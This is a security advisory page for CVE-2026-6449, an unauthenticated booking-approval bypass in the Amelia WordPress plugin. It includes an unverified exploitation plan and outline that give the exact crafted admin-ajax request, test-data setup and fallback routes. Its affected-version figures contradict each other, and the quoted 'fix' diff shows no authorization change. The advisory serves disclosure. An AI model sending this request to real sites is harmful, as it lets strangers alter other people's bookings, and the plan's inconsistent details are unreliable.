CVE-2026-6449

Booking for Appointments and Events Calendar – Amelia <= 2.2.1 - Unauthenticated Authorization Bypass via Remote Approval Endpoint

mediumImproper Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.3
Patched in
5d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 2.2.1. This is due to a logical short-circuit flaw in authorization logic that causes token validation to be entirely skipped when a booking has a 'waiting' status. This makes it possible for unauthenticated attackers to approve any booking that is in 'waiting' status by sending a crafted request to the publicly-accessible admin-ajax endpoint.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.1
PublishedMay 1, 2026
Last updatedMay 6, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6449 ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (versions <= 2.1.2) contains an improper authorization vulnerability in its remote booking management logic. Specifically, the API endpoint responsible for u…

Show full research plan

Exploitation Research Plan - CVE-2026-6449

1. Vulnerability Summary

The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 2.1.2) contains an improper authorization vulnerability in its remote booking management logic. Specifically, the API endpoint responsible for updating booking statuses (often used for email-based approvals) contains a logical short-circuit. If a booking's current status is 'waiting', the code entirely skips the validation of the security token (token parameter). This allows an unauthenticated attacker to approve, cancel, or reject any booking that is currently in a "waiting" state simply by knowing or guessing its ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: action=wpamelia_api
  • Call (Route): /bookings/status/{id}/{status} (Inferred from Amelia's remote approval URL structure).
  • HTTP Method: GET (Remote approval links sent in emails typically use GET).
  • Vulnerable Parameter: id (The booking ID) and status (The target status).
  • Authentication: Unauthenticated (the endpoint is registered under wp_ajax_nopriv_wpamelia_api).
  • Precondition: At least one booking must exist in the database with a 'waiting' status.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php?action=wpamelia_api&call=/bookings/status/{id}/{status}&token=ANYTHING.
  2. Dispatch: Plugin::wpAmeliaApiCall() in ameliabooking.php is invoked. This initializes the Slim framework container and routes.
  3. Routing: Routes::routes() maps the /bookings/status path to a controller (likely BookingController or a specific status controller).
  4. Authorization Check: The controller retrieves the booking from the database using the provided {id}.
  5. The Flaw: The authorization logic checks the booking's current status. If the status is 'waiting', it returns true for the authorization check (short-circuit), effectively skipping the validation of the token parameter.
  6. Action: The booking's status is updated in the database to the value provided in the {status} path segment.

4. Nonce Acquisition Strategy

Amelia's wpamelia_api action often bypasses standard WordPress nonces for remote approval endpoints because they are designed to be clicked from within emails where no WordPress session or nonce would be available.

If the environment requires a general AJAX nonce for wpamelia_api:

  1. Shortcode: Amelia's scripts are usually enqueued on pages containing the [ameliabooking] or [ameliapurchasable] shortcodes.
  2. Creation: wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[ameliabooking]"
  3. Extraction: Navigate to the page and use browser_eval:
    // Amelia typically localizes data into window.wpAmeliaLabels or window.ameliaBooking
    window.ameliaBooking?.nonce || window.wpAmeliaLabels?.nonce
    
  4. Note: Based on the vulnerability description, the primary check being bypassed is the internal Amelia token, not necessarily a WP nonce.

5. Exploitation Strategy

Step 1: Discover/Create a "Waiting" Booking

Since we need a booking with the status 'waiting', we will create one using WP-CLI to simulate a customer booking that requires approval.

Step 2: Craft the Exploitation Request

We will target the remote status update endpoint.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/bookings/status/<BOOKING_ID>/approved&token=pwned
  • Method: GET

Step 3: Execute via http_request

# Pseudo-code for the agent
http_request(
    url="http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/bookings/status/1/approved&token=invalid_token",
    method="GET"
)

6. Test Data Setup

To reliably test this, we must ensure a booking exists in the 'waiting' state.

  1. Initialize Amelia: Access the admin once to ensure tables are created.
  2. Identify IDs: We need a valid serviceId, employeeId, and customerId.
  3. Create Booking:
    wp eval "
    global \$wpdb;
    // Insert a dummy booking with status 'waiting'
    \$wpdb->insert(\$wpdb->prefix . 'amelia_customer_bookings', [
        'appointmentId' => 1,
        'customerId'    => 1,
        'status'        => 'waiting',
        'price'         => 0,
        'token'         => 'secret_token_123' 
    ]);
    echo 'Booking ID: ' . \$wpdb->insert_id;
    "
    
    Note: If the amelia_customer_bookings table requires a valid appointmentId, create a dummy appointment in the amelia_appointments table first.

7. Expected Results

  • Response: The server should return a 200 OK response, likely with a JSON body indicating success (e.g., {"status": "success", "message": "..."}).
  • Effect: The status column for the targeted booking in the amelia_customer_bookings table should change from 'waiting' to 'approved'.

8. Verification Steps

After sending the HTTP request, verify the database state using WP-CLI:

wp db query "SELECT status FROM wp_amelia_customer_bookings WHERE id = 1"

Success Condition: The output should be approved.

9. Alternative Approaches

If the GET request to /bookings/status fails, the plugin might be using a different route or a POST request.

  • Alternative Route: /bookings/success/{id} (Some versions use this to finalize status).
  • Alternative Method: POST to /bookings/status/{id} with status=approved in the body.
  • Check Localization: If the token is actually verified but the flaw is in the generation of the token for waiting bookings, check if the token is simply an empty string or the ID itself. (The description implies a logic skip, so the GET bypass is most likely).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking for Appointments and Events Calendar – Amelia plugin (up to version 2.1.2) contains a logical authorization bypass in its remote booking management API. For bookings with a 'waiting' status, the plugin fails to perform the intended security token validation, allowing unauthenticated users to approve or reject appointments by sending a crafted request to the public AJAX endpoint.

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2.1/ameliabooking.php	2026-04-14 07:47:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.3/ameliabooking.php	2026-04-27 12:18:12.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.2.1
+Version: 2.3
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -56,13 +56,13 @@
 // Const for uploads path
 if (!defined('AMELIA_UPLOADS_PATH')) {
     $uploadDir = wp_upload_dir();
-    define('AMELIA_UPLOADS_PATH', $uploadDir['basedir']);
+    define('AMELIA_UPLOADS_PATH', !empty($uploadDir['basedir']) ? $uploadDir['basedir'] : '');
 }
 
 // Const for uploads url
 if (!defined('AMELIA_UPLOADS_URL')) {
     $uploadUrl = wp_upload_dir();
-    define('AMELIA_UPLOADS_URL', set_url_scheme($uploadUrl['baseurl']));
+    define('AMELIA_UPLOADS_URL', !empty($uploadUrl['baseurl']) ? set_url_scheme($uploadUrl['baseurl']) : '');
 }
 
 // Const for uploads url
@@ -111,7 +111,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.2.1');
+    define('AMELIA_VERSION', '2.3');
 }

Exploit Outline

1. Identify a valid booking ID that is currently in 'waiting' status (awaiting approval). 2. Construct a GET request targeting the unauthenticated Amelia API endpoint: `/wp-admin/admin-ajax.php?action=wpamelia_api&call=/bookings/status/{id}/{new_status}`. 3. Replace `{id}` with the target booking ID and `{new_status}` with 'approved', 'rejected', or 'canceled'. 4. Include a dummy `token` parameter (e.g., `&token=pwned`). Because the plugin's authorization logic returns `true` automatically when the current status is 'waiting', the security token validation is bypassed and the status update is processed successfully.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.